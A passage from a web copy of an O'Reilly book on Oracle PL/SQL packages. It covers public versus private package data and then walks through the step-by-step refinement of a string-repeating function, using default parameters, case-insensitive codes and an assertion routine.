where the argument is the module name, which can actually be a composite of the schema, name, and type.

With the setcurr procedure assigning values to my current object, the parameter lists of my object-management programs in PLVobj become short and sweet. They are much easier to use.

There is, of course, a tradeoff when you rely on package global data instead of passing parameters. Sure, the data is private and access to it is controlled. But it also means that the package program is completely dependent on that data. You cannot use the program to analyze or manipulate data until it is set into the package globals. The only way you can use the PLVobj package is to first call the setcurr procedure.

I believe that in many cases, this tradeoff is a good investment. It reinforces my perspective on the package as an environment more than simply a collection of related code elements.

2.10.4 When to Make Data Public

You shouldn't always hide your data in the package body. Sometimes you really do want to let someone directly access the information. I have found, for example, that if you are going to execute dynamically constructed PL/SQL code with the DBMS_SQL package and you want to reference any kind of external data directly, it must be defined in the specification of some package. Dynamically executed PL/SQL blocks are never nested within another block. As a result, they can only reference variables declared in the dynamic block or in a package specification (see Chapter 18, PLVcase and PLVcat: Converting and Analyzing PL/SQL Code, for more details).

Another place in PL/Vision where I violate this practice and declare data structures in the specification is the PLVio package. You can choose to use a PL/SQL table as a target with the following call:

PLVio.settrg (PLV.pstab);

Then all subsequent calls to PLVio.put_line will deposit information in another row of data in the PLVio-based PL/SQL table, defined in the specification as follows:

   target_table PLVtab.vc2000_table;
   target_row BINARY_INTEGER;

Why did I put this table in the specification? I suppose I could have hidden it away in the body and then built some programs that would maintain the contents of the table, along these lines:

   PROCEDURE init_table;
   PROCEDURE set_row (val_in IN VARCHAR2);
   FUNCTION rowval (row_in IN INTEGER) RETURN VARCHAR2;
   PROCEDURE display;

Maybe I just got lazy that night. But maybe, just maybe, it actually makes more sense in this case to allow the developer to do whatever she wants with the table and its contents. It is just a repository, after all, for the output from calls to the PLVio.put_line procedure. You might, in fact, want to write some information from PLVio and then add a few rows of data from your own, independent source. Rather than put up the barrier of get-and-set routines, I just leave the table in the specification and make the user responsible for its contents.

2.10.5 Anchoring to Public Variables

There is one other case in which specification-based variables are useful: anchored declarations. You can anchor or base the declaration of a variable on another, predefined structure. To do this, you use the %TYPE and %ROWTYPE attributes. The most common way %TYPE is used is to anchor a local PL/SQL variable to a database column, as shown below:

   v_ename emp.ename%TYPE;

You can also, however, anchor variables to other PL/SQL data structures. You can define variables in one package (a repository of subtypes) that are used to define variables in another package. In this case, the variables must be declared in the specification. An example from PL/Vision will demonstrate this technique.

A number of PL/Vision packages manipulate PL/SQL source code (PLVgen, PLVcase, PLVcat, etc.). One important element of PL/SQL code is the identifier. An identifier is a named element of the language. Today, identifiers can be up to 30 characters in length and must start with a letter.

As I built packages to read and parse identifiers (see PLVprsps), I would declare local variables to hold those values. At first, I declared the variable as follows:

v_ident VARCHAR2(30);

This always made me uncomfortable, though. I could just see Oracle Corporation in its next release announce that it would now allow identifiers to be up to, say, 60 characters in length. My code would instantly become very vulnerable. So I would often compensate by declaring the variable as:

v_ident VARCHAR2(100);

I felt safe, but dissatisfied. The justification for that declaration was weak; it would be hard (embarrassing?) to explain to another developer why I chose this number. After too many months, I found the ideal solution: use an anchored declaration.

So I added the following declaration to the PLV package specification:

plsql_identifier VARCHAR2(100) := 'IRRELEVANT';

I decided to use 100 because my identifier variable needed to hold identifiers of the form "package.element" and so that I had some extra space with which to work. I then changed my hard-coded declaration of v_ident and many other variables to this format:

v_ident PLV.plsql_identifier%TYPE;

Now if I ever do need to change the length or other characteristic of variables that represented PL/SQL identifiers, I could make that change in just one place. Notice that I assigned the default value of IRRELEVANT to the variable. I did that to emphasize that the value contained in plsql_identifier is irrelevant. It is never referenced (or intended to be referenced) for its value, only for its datatype.

NOTE: You might be thinking that I should just have declared plsql_identifier as a constant and then the value of this "reference only" structure could not be mucked with. That certainly makes sense. I found, however, that you cannot reference a constant in an anchored declaration. If I wanted to use plsql_identifier to anchor other variable declarations, it had to be declared a variable.

So there are certainly circumstances in which you will want to declare data structures in the package specification. This should occur, however, on an exception basis -- and you should be able to justify your action with some application-specific requirements. Otherwise, hide that package data in the body and you will reap many benefits.

Previous: 2.9 Modularizing for Maintainable Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 2.11 Simultaneous Construction of Multiple Packages
2.9 Modularizing for Maintainable Packages | Book Index | 2.11 Simultaneous Construction of Multiple Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/advprog/ch02_11.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 3] The PL/SQL Development Spiral

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 2.11 Simultaneous Construction of Multiple Packages Chapter 3 Next: 3.2 Adding Value

3. The PL/SQL Development Spiral

Contents:
The Basic Problem
Adding Value
Supplying Backward Compatibility
Improving the User Interface
Rough Waters Ahead
Building a Structured Function
Handling Program Assumptions
Broadening the Scope
Considering Implementation Options
Choosing the Best Performer
Don't Forget Backward Compatibility
Obliterating the Literals
Glancing Backward, Looking Upward

How many times have you written a program, gotten it to compile first time around, and found that it had no bugs? Let me rephrase that question: have you ever written a program of more than, say, five lines that compiled and executed without bugs the first time around? Please send me your resume if the answer is yes. We need developers like you. I will make a confession: I have never once been able to get it right the first time. Perhaps I am just too impatient to walk through my code properly. I certainly haven't found the patience to discover the joys of computer-assisted software engineering. I am just a hacker at heart.

Even with lots of patience and prior analysis, however, I believe that it is wrong to set as a realizable objective to "get it right the first time." Software development should be seen largely as an iterative process. You get closer and closer to "perfection" as you take multiple passes at a solution. I like to think of this process as a spiral towards excellence in code. A spiral is different from a cycle, which is the term often used to portray the, well, "lifecycle" of development. A cycle or circle has you coming back around to where you were before. A spiral implies that when you come back around, you are at a higher place than you were on the previous spin. You are closer to the ideal.

There are many ways to apply this philosophical thinking to PL/SQL development. The single most important non-technical (i.e., not specific to computers) skill is that of problem-solving. The single most important technical skill to nurture as a programmer is that of code modularization. In this chapter, I explore the so-called spiral towards excellence in the context of an exercise in building a very basic and -- on the surface -- trivial PL/SQL utility.[1]

[1] All of the code for this chapter is included on the companion disk in the file spiral.all.

Most of this chapter traces the evolution of a standalone function. Why, in a book about packages, am I showing you how to build this function? First, the lessons you will absorb from this chapter apply very directly to the more complex work on package construction. Second, the best solution to the problem addressed by my function turns out to be a package!

3.1 The Basic Problem

Let's suppose that I am writing an application that does lots of string manipulation. One action that I find myself coding again and again is the duplication of a string. In other words, I need to convert "abc" to "abcabc". I write this:

v_new_string := v_old_string || v_old_string;

and then I write this:

v_comp_name := v_comp_name || v_comp_name;

and I sense a pattern.[2]

[2] You are not allowed to wonder why I would need to do something like this. I am not obligated to construct a real-life application that does this. You just have to take my word for it.

Whenever I notice a repetition in my coding, I instinctively put on the brakes and examine more closely. A pattern implies that I can generalize to a formula. I can then encapsulate my formula into a function or procedure. I can then write the formula once and apply it often. This cuts down on my typing and improves my ability to maintain and even enhance my code.

In this case, the pattern is clear: I want to double the supplied string and return it to another PL/SQL variable. I want, in other words, to create a function. So in very quick order I write the twice function as shown in Example 3.1:

Example 3.1: The First Version of the twice Function

CREATE OR REPLACE FUNCTION twice (string_in IN VARCHAR2)
RETURN VARCHAR2
IS
BEGIN
   RETURN string_in || string_in;
END twice;
/

With twice created in the database, I can replace those two explicit concatenations with these calls to twice:

v_new_string := twice (v_old_string);
v_comp_name := twice (v_comp_name);

I have added another fine implement to my toolbox and I continue on my merry, programming way. Lo and behold, just as I would have predicted, I soon run into the need for twice again. This time, I want to double-up the description of a product type, but I also need to make sure that it is in upper case, so I type:

v_prodtype:= twice (UPPER (v_prodtype));

So far so very good. I code my little heart out until I run into a new variation on my twice theme: I want to double the string, but this time I need to uppercase the first instance and lowercase the second. It doesn't take too lengthy an analysis to conclude that the twice function cannot handle this requirement.

I now face a crucial and common modularization dilemma: should I try to enhance twice to handle this new twist or should I leave it as is and build yet another function for UPPER-lower? A part of me would like to tell you that this isn't really much of a dilemma, that you should always widen the scope of your existing program. That would be the most elegant solution, but it would also be irresponsible advice.

We write programs so people can use them, not so we can marvel at their elegance. There are definitely situations in which it makes more sense to leave well enough alone and start with a brand-new build. I am not yet ready to give up on twice, for several reasons:

  • The point of this chapter is to step you upwards through the spiral. Abandoning the function now would be to start a new spiral, not climb this one.

  • The twice function is still very basic and unexplored from the standpoint of scope expansion. It is at least worth trying to incorporate this new requirement. If it proves unnatural, then the effort ought to be abandoned.

Once I have made this analysis, I am ready to revamp the twice function in order to add value for the end user (currently myself, but in time others as well).

Previous: 2.11 Simultaneous Construction of Multiple Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 3.2 Adding Value
2.11 Simultaneous Construction of Multiple Packages | Book Index | 3.2 Adding Value
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.2 Adding Value

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.2 Adding Value

Sometimes it is worth stepping back and searching for the bigger picture before embarking on one's enhancements. In this case, I find myself wondering what other twists and turns I might encounter in my application development. Since I need UPPER-lower string duplication, I might also run into a requirement to perform lower-UPPER string duplication. As long as I am changing the twice function for one of these variations, I should try to stay ahead of the game and handle both variations.

So I will restate the new requirements of twice: double the specified string. Return the new string with the same case as the original, and return it in UPPER-lower or return it in lower-UPPER, depending on the user request.

When stated in this way, an obvious question pops up: how is the user going to specify the case handling in the call to twice? For a standalone function, this means adding a parameter. Instead of just accepting the string value for doubling, twice must also receive the type of action to perform. The new header for twice, therefore, must be:

FUNCTION twice (string_in IN VARCHAR2, action_in IN VARCHAR2)

where the action can be one of these values:

N

No change to case

UL

UPPER-lower case conversion

LU

lower-UPPER case conversion

Once the parameter and valid options are in place, the implementation is straightforward (and is shown in Example 3.2). I simply use an IF statement to direct the runtime engine to the right RETURN statement.

Example 3.2: The twice Function with Alternative Actions

CREATE OR REPLACE FUNCTION twice
   (string_in IN VARCHAR2, action_in IN VARCHAR2)
RETURN VARCHAR2
IS
BEGIN
   IF action_in = 'UL'
   THEN
      RETURN (UPPER (string_in) || LOWER (string_in));

   ELSIF action_in = 'LU'
   THEN
      RETURN (LOWER (string_in) || UPPER (string_in));

   ELSIF action_in = 'N'
   THEN
      RETURN string_in || string_in;
   END IF;
END twice;

With this new version of twice, I can display the following string doublings:

SQL> exec DBMS_OUTPUT.PUT_LINE (twice ('abc', 'UL'));
ABCabc
SQL> exec DBMS_OUTPUT.PUT_LINE (twice ('abc', 'LU'));
abcABC
SQL> exec DBMS_OUTPUT.PUT_LINE (twice ('abc', 'N'));
abcabc

My twice function is starting to look interesting. It handles a number of different flavors of conversion and seems easy to use. I'm glad I decided to enhance twice.

Previous: 3.1 The Basic Problem | Advanced Oracle PL/SQL Programming with Packages | Next: 3.3 Supplying Backward Compatibility
3.1 The Basic Problem | Book Index | 3.3 Supplying Backward Compatibility
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.3 Supplying Backward Compatibility

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.3 Supplying Backward Compatibility

Having created a very flexible twice function and tested it successfully with my new UPPER-lower and lower-UPPER requirements, I can now step back into the stream of application development. (I consider work on twice as part of the process of building my generic PL/SQL toolset.) So I continue to code and, after a while, come back to one of my earlier uses of twice:

v_prodtype:= twice (UPPER (v_prodtype));

While I don't change this line of code, I do have to modify others in the same procedure. I then recompile that procedure and am shocked to get this error:

PLS-00306: wrong number or types of arguments in call to 'TWICE'

Suddenly code that was working earlier in the day is no longer even able to compile. What went wrong?

When I enhanced the twice function, I added a second parameter -- and I certainly needed to do that. I did not, unfortunately, take into account existing uses of twice. The way that I changed the parameter list actually invalidated those prior instances. Since I did not provide a default value for the action_in parameter, it became necessary for all executions of twice to include two values in the argument list. This is an unacceptable way to enhance existing code.

If I am going to make changes to programs currently in use across my production applications (or in any version of previously existing programs), I want to do so in a way that allows that code to continue to work as it did before without any changes. Otherwise I am facing a maintenance nightmare that would, in effect, stop me from enhancing code. It simply isn't possible (especially given the state of PL/SQL development and analysis tools) to search (and replace!) efficiently for all uses of a given program.

I must instead come up with a technique that will support backward compatibility with earlier uses of twice, while simultaneously allowing me to use that same program in new ways. Default values for my action_in parameter offer this possibility.

When an IN parameter has a default value, it is not necessary to include a value for that argument when the program is called. If a value is not specified, the program will use the default value in its execution. If these IN parameters are all trailing parameters (they come at the end of the parameter list), you can simply ignore them when calling the program. If the IN parameters are positioned before one or more IN or IN OUT parameters, you will have to use named notation to skip over that parameter. (See Oracle PL/SQL Programming for more details on named notation).

I can make a very simple change to the header of the twice function:

FUNCTION twice
   (string_in IN VARCHAR2, action_in IN VARCHAR2 DEFAULT 'N')

Then, if I call twice with just a single argument, it will assume that I do not want to perform any kind of case conversion. With this change in place, all previous occurrences of twice will work as they did before I even thought of a case-conversion action parameter. IN parameters with default values are a critical technique in ensuring backward compatibility for enhanced PL/SQL programs.

Previous: 3.2 Adding Value | Advanced Oracle PL/SQL Programming with Packages | Next: 3.4 Improving the User Interface
3.2 Adding Value | Book Index | 3.4 Improving the User Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.4 Improving the User Interface

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.4 Improving the User Interface

A couple of weeks go by before I encounter another need for twice. Then I need to call it for lower-UPPER conversion on a company name. So I put this line in my program:

v_full_name := twice (comp_rec.short_name, 'lu');

but when I execute the program, the full name is not in lower-UPPER format. It is all uppercased and, as I trace my way back to the data, that is just how the company short name is stored in the database. It doesn't seem to be doing any conversion at all.

Frustrated, I decide to head back to the source code. Of course, I can't remember where I stored the source code on disk. It was just a dinky little program. And it's generally not too easy to view the source code as it exists in the USER_SOURCE data dictionary view. Fortunately, I have built a PL/Vision package named PLVvu (more about this in Chapter 14, PLVtmr: Analyzing Program Performance) to view the code and so I execute that program to refresh my memory:

SQL> exec PLVvu.code('twice');
-----------------------------------------------------------
Code for FUNCTION TWICE
-----------------------------------------------------------
Line#  Source
-----------------------------------------------------------
    1 FUNCTION twice
    2    (string_in IN VARCHAR2, action_in IN VARCHAR2)
    3 RETURN VARCHAR2
    4 IS
    5 BEGIN
    6    IF action_in = 'UL'
    7    THEN
    8       RETURN (UPPER (string_in) || LOWER (string_in));
    9    ELSIF action_in = 'LU'
   10    THEN
   11       RETURN (LOWER (string_in) || UPPER (string_in));
   12    ELSIF action_in = 'N'
   13    THEN
   14       RETURN string_in || string_in;
   15    END IF;
   16 END twice;

The problem becomes clear: the action must be passed in as uppercase: LU and not lu. The solution seems to me to be equally clear: fix my line of code to pass upper case.

v_full_name := twice (comp_rec.short_name, 'LU');

Well, that certainly is one way to solve the problem. Unfortunately, it is really just a variation on "blame the victim." Why couldn't I pass lu in lowercase to get the action I wanted? It's not as if the lowercase version is used by twice to perform some other kind of conversion. The case of the action should not be a factor in the way twice works. Unfortunately, the way I wrote the program, any user must be aware of this inflexibility of twice -- be aware of minute implementation details of twice -- or risk introducing bugs in her code.

These are danger signs pointing to a poorly designed program. A user should not have to know anything about the internals of twice to use it. Furthermore, the program should be smart enough to accept the action in any number of different formats and do the right thing for the user.

The solution is straightforward: convert the action value provided by the user to upper or lower case and then test based on that case. In this way, the user can enter lower, upper, or mixed case and the program will function as expected. Example 3.3 shows the "smart" version of twice, which utilizes this parameter-conversion technique.

Example 3.3: The twice Function with Parameter Conversion

CREATE OR REPLACE FUNCTION twice
   (string_in IN VARCHAR2,
    action_in IN VARCHAR2 DEFAULT 'N')
RETURN VARCHAR2
IS
   v_action VARCHAR2(10) := UPPER (action_in);
BEGIN
   IF v_action = 'UL'
   THEN
      RETURN (UPPER (string_in) || LOWER (string_in));

   ELSIF v_action = 'LU'
   THEN
      RETURN (LOWER (string_in) || UPPER (string_in));

   ELSIF v_action = 'N'
   THEN
      RETURN string_in || string_in;
   END IF;
END twice;
/

Whenever you require your user to enter literals to direct activity in your program, you should make sure that they do not have to know about the "proper" case in which to enter the literal. Make your program smart enough to interpret a range of entries.

Previous: 3.3 Supplying Backward Compatibility | Advanced Oracle PL/SQL Programming with Packages | Next: 3.5 Rough Waters Ahead
3.3 Supplying Backward Compatibility | Book Index | 3.5 Rough Waters Ahead
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.5 Rough Waters Ahead

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.5 Rough Waters Ahead

I have now fixed the twice function so that a user can enter UL, LU, or N in any case he wants. The function seems functional; I figure that someone else might even want to use it. So I send out an email to my development team describing how to use twice.

A day later I get a call from a co-developer complaining about twice. The function is once again not following orders. He asked twice to perform upper-lower conversion and all he got was this message:

ORA-06503: PL/SQL: Function returned without value

Suddenly I am in the role of telephone support and it's not much fun. I am quickly baffled and ask him to read to me exactly what he typed in. He says:

new_name := twice (old_name, 'BS');

"What's `BS'?", I ask him, feeling as though I am walking right into something I will regret.

"Big-Small," he responds. I sigh with relief. He continues: "I thought that's what I was supposed to pass to twice: B for big letters and S for small letters."

It doesn't take long for me to straighten him out (that is, to tell him the secret codes). Turns out that my email message just assumed that my co-developers would understand the U and L stuff. Intuitive, really. But of course our minds all work differently and what is obvious to one person is obscure, at best, to another.

Unfortunately, the way I built twice assumed that the user would know the correct codes. And my assumption was so strongly held that I don't even include any code to let the user know that a mistake was made. Worse, if the user passes an unacceptable action, twice does not exactly handle it gracefully. Instead, none of the IF statement clauses evaluate to TRUE and the function never executes a RETURN statement, bringing about the -6503 error.

This experience points out two glaring problems with twice, a function that just days ago I thought was, well, pretty solid. These problems are:

  1. The function does not execute a RETURN statement in some cases. This is a big no-no, indicating that the structure of the function is very poorly designed.

  2. I have made assumptions that I do not bother to validate in my program.

These faults can lead to unexpected program failure and must be corrected.

Previous: 3.4 Improving the User Interface | Advanced Oracle PL/SQL Programming with Packages | Next: 3.6 Building a Structured Function
3.4 Improving the User Interface | Book Index | 3.6 Building a Structured Function
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.6 Building a Structured Function

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.6 Building a Structured Function

Consider the problem of a function that does not execute a RETURN. The whole point of a function is to return a value. Not only should it return a value when everything goes right, it should even return a value when the function fails and raises an exception (NULL being the usual candidate under these circumstances).

In the twice function all my RETURN statements are nested inside IF clauses. So an invalid entry by the user means that all those RETURNs are ignored. There are lots of ways to fix this specific problem. You could include an ELSE statement. You could make sure that the action was valid at the start of the function (we'll look at that in a moment). The best all-around solution, however, is to always construct your functions with the following templated structure:

 1    FUNCTION twice RETURN VARCHAR2
 2    IS
 3       v_retval VARCHAR2(100) := 'null';
 4    BEGIN
 5
 6       RETURN v_retval;
 7
 8    EXCEPTION
 9       WHEN OTHERS
10       THEN
11          RETURN NULL;
12    END twice;

In this template I declare a local variable (the return value or v_retval) with the same datatype as the function itself. I then always make the last line of the function a RETURN of the v_retval variable's value. In addition, my exception returns NULL if any kind of exception is raised. You will never get a -6503 error with this template -- and it is easier to debug than functions with RETURN statements scattered throughout the body of the program.

A version of twice that follows the template is shown in Example 3.4. Now I have a return value variable as the last line of the function body. To do this, I simply replaced each of the individual RETURN statements inside the IF statement with an assignment to v_retval. I have not, therefore, added any kind of special handling for invalid actions. Yet I no longer have to worry about -6503, because I have chosen a structure for my function that automatically rules out that possibility. Furthermore, it even returns a sensible value in the case of a bad action code. The v_retval is initialized by PL/SQL to NULL. If the user passes a code like BS, the value of v_retval will not be changed and, as a result, NULL will be returned, indicating an incorrect value (or, come to think of it, NULL input).

Example 3.4: A Template-based twice Function

CREATE OR REPLACE FUNCTION twice
   (string_in IN VARCHAR2,
    action_in IN VARCHAR2 DEFAULT 'N')
RETURN VARCHAR2
IS
   v_action VARCHAR2(10) := UPPER (action_in);
   v_retval VARCHAR2(100);
BEGIN
   IF v_action = 'UL'
   THEN
      v_retval := UPPER (string_in) || LOWER (string_in);

   ELSIF v_action = 'LU'
   THEN
      v_retval := LOWER (string_in) || UPPER (string_in);

   ELSIF v_action = 'N'
   THEN
      v_retval := string_in || string_in;
   END IF;
   RETURN v_retval;
EXCEPTION
   WHEN OTHERS
   THEN
      RETURN NULL;
END twice;
/

Previous: 3.5 Rough Waters Ahead | Advanced Oracle PL/SQL Programming with Packages | Next: 3.7 Handling Program Assumptions
3.5 Rough Waters Ahead | Book Index | 3.7 Handling Program Assumptions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.7 Handling Program Assumptions

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.7 Handling Program Assumptions

Now let's address the problem of invalid action codes. You've already seen the downside: the user is not notified of an invalid entry; the program simply failed with -6503. With my latest version of twice, you no longer get the error. On the other hand, the function now returns the same value if you pass in a NULL string or if you pass in a bad action code. This is not a good way for a function to notify the user of errors. And that is because I do not explicitly handle an underlying assumption of my program.

Just about every piece of software you write makes assumptions about the data it manipulates. For example, parameters may have only certain values or must be within a certain range; a string value should have a certain format, or perhaps an underlying data structure is assumed to have been created. It's fine to have such rules and assumptions, but it is also very important to verify, or assert, that none of the rules are being violated. Because if you assume it and you don't check, your program can end up acting very strangely.

In the twice function, I assume that you, the user, know that you use UL for UPPER-lower, LU for lower-UPPER, and N for no case conversion. But how are you supposed to know this? You either have to see the source code, which is not always going to be possible or desirable, or you have to be given external documentation about the function. And even if you read the documentation on Monday, who says you are going to remember it on Friday?

If a low-level utility like twice is going to be successfully reused, it has to have the smarts built into it to check for bad actions and inform the user of the problem. The best way to do this is to assert that the incoming argument is correct. The following line of code asserts, for example, that the action code is correct. If not, it raises an exception.

IF v_action NOT IN ('UL', 'LU', 'N')
THEN
   RAISE VALUE_ERROR;
END IF;

If the action is valid, then twice would function as it normally does. Now if the action code is invalid, an exception is raised and no value is returned from the function. Is this a violation of my recommendation that a function always return a value? I would suggest that in this case an exception is more appropriate. The use of twice is invalid if it is not passed a valid code. In this context, it doesn't even make sense to continue processing. This is not the kind of error that occurs in production. My IF statement uncovers a design-level error in the code that must be corrected before you can even worry about data entry errors or other application-level concerns.

One problem with the IF statement is that it doesn't really inform the user about the problem. It just raises a generic, system exception. I think that if you are going to assert assumptions, you should display some feedback when the assumption is not met. Furthermore, I suggest that instead of building IF statements like this throughout your code, you create a single assert procedure like the one shown in Example 3.5. This program accepts the Boolean expression that needs to be true and a string to be displayed in case of failure.

Example 3.5: A Very Generic Assertion Routine

PROCEDURE assert
    (bool_in IN BOOLEAN, stg_in IN VARCHAR2 := NULL)
IS
BEGIN
   IF NOT bool_in OR bool_in IS NULL
   THEN
      IF stg_in IS NOT NULL
      THEN
         DBMS_OUTPUT.PUT_LINE (stg_in);
      END IF;
      RAISE VALUE_ERROR;
   END IF;
END;

With the assert routine added to my arsenal, I now have a very robust twice function (see Example 3.6). If another codeveloper tries the same BS from an anonymous block in SQL*Plus, here is the feedback she will receive:

Please enter UL LU or N
declare
 *
ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error

With my assert program in place, I spend less time on telephone support for twice. And if someone does call, I will tell them to "RTFM!", as in: "Read The Fancy Message!"

Example 3.6: Using an Assertion Routine Inside twice

CREATE OR REPLACE FUNCTION twice
   (string_in IN VARCHAR2,
    action_in IN VARCHAR2 DEFAULT 'N')
RETURN VARCHAR2
IS
   v_action VARCHAR2(10) := UPPER (action_in);
   v_retval VARCHAR2(100);
BEGIN
   assert
      (v_action IN ('UL', 'LU', 'N'),
       'Please enter UL LU or N');
   IF v_action = 'UL'
   THEN
      v_retval := UPPER (string_in) || LOWER (string_in);

   ELSIF v_action = 'LU'
   THEN
      v_retval := LOWER (string_in) || UPPER (string_in);

   ELSIF v_action = 'N'
   THEN
      v_retval := string_in || string_in;
   END IF;
   RETURN v_retval;
END twice;
/

Previous: 3.6 Building a Structured Function | Advanced Oracle PL/SQL Programming with Packages | Next: 3.8 Broadening the Scope
3.6 Building a Structured Function | Book Index | 3.8 Broadening the Scope
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.8 Broadening the Scope

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

3.8 Broadening the Scope

Surely I am done with twice now. It is well structured, handles errors gracefully, and offers a reasonable amount of flexibility. It has come a long way from its original one-line version. So I would have to say that, yes indeed, I am done with twice. But a few days of programming go by and I encounter a very interesting requirement:

Take a string and return it repeated it three times, not just twice!

Of course, I instantly think of twice and how it would be very easy to create another function called thrice that performs an additional concatenation -- but that otherwise is unchanged. But then I take a coffee break and realize in my moment away from the screen (excellent thinking time -- I recommend it to all my readers!) that tomorrow I could run into a need for four repetitions and then five. The twice function is finished -- but only within its limited scope. What would be really great is a function that allows me to perform any number of duplications, as specified by the user. Now that would be a neat little function. So let's build it.

First of all, since I am going to let the user specify the number of repetitions, I will need to: (a) change the name of the function and (b) add a third parameter. Here is the new header for my new function:

CREATE OR REPLACE FUNCTION repeated
   (string_in IN VARCHAR2,
    action_in IN VARCHAR2 DEFAULT 'N',
    num_in IN INTEGER := 1)
RETURN VARCHAR2

The name of the function reflects its general utility. It returns a string repeated any number of times. The third parameter, num_in, indicates the number of times to repeat the string. Notice that the default is 1, which means a single repetition -- thereby matching the functionality of twice. Otherwise the parameter list is the same.

It probably won't take much thought on your part to realize two things about the implementation of repeated:

  1. I can use a numeric FOR loop in a very straightforward way to create a string which repeats a substring N times.

  2. The case conversion logic that applied itself so clearly in twice is less obvious now. If users specify UPPER-lower, do they want UPPER-lower-UPPER-lower or do they want UPPER-lower-lower-lower?

There is only one answer to this question: I don't know. A different user may want or expect a different outcome. As the creator of repeated, I can either build the function to handle both these two scenarios and other case conversion options, or simply decide that repeated will offer only one option.

In this chapter, I implement repeated in such a way that its case conversion is limited to applying the first half of the conversion to the input string and second half of the conversion to all the repetitions of that string. The following example shows what repeated will do:

SQL> exec DBMS_OUTPUT.PUT_LINE (repeated ('abc','UL',2));
ABCabcabc
SQL> exec DBMS_OUTPUT.PUT_LINE (repeated ('abc','LU',2));
abcABCABC

I will leave it to my readers to come up with an implementation of repeated that offers other patterns (or all patterns).[3] The full implementation of repeated is shown in Example 3.7. Here I step through that implementation.

[3] Please send me your solutions at Compuserve 72053,441.

The first thing I want to do in repeated is assert the validity of all of my assumptions. I have the same assumption for action that twice did, but I have another assumption as well: that the num_in argument will not be negative. So repeated will add this call to assert:

assert
   (num_in >= 0, 'Duplication count must be at least 0.');

Once I know that my arguments are all right, I can proceed to my algorithm. With my new approach to case conversion, I have two different kinds of strings for repetition: the initial string and the repetition string. The cases of these two strings need to be set separately (as you read this section, see if you can tell how twice is only a special case of this logic), based on the action code. I do this in the following IF statement:

   IF v_action = 'UL'
   THEN
      initval := UPPER (string_in);
      nextval := LOWER (string_in);
   ELSIF v_action = 'LU'
   THEN
      initval := LOWER (string_in);
      nextval := UPPER (string_in);
   ELSE
      initval := string_in;
      nextval := string_in;
   END IF;

Once I have set the initial and repetition (or next) strings, I can set the initial value for the return value and then use a FOR loop to generate the repeated string:

   v_retval := initval;
   FOR dup_ind IN 1 .. num_in
   LOOP
      v_retval := v_retval || nextval;
   END LOOP;

And the return value variable is then ready to be RETURNed by the function.

Example 3.7: The repeated Function

CREATE OR REPLACE FUNCTION repeated
   (string_in IN VARCHAR2,
    action_in IN VARCHAR2 DEFAULT 'N',
    num_in IN INTEGER := 1)
RETURN VARCHAR2
IS
   v_action VARCHAR2(10) := UPPER (action_in);
   initval VARCHAR2(32767);
   nextval VARCHAR2(32767);
   v_retval VARCHAR2(32767) := string_in;

BEGIN
   assert
      (v_action IN ('UL', 'LU', 'N'),
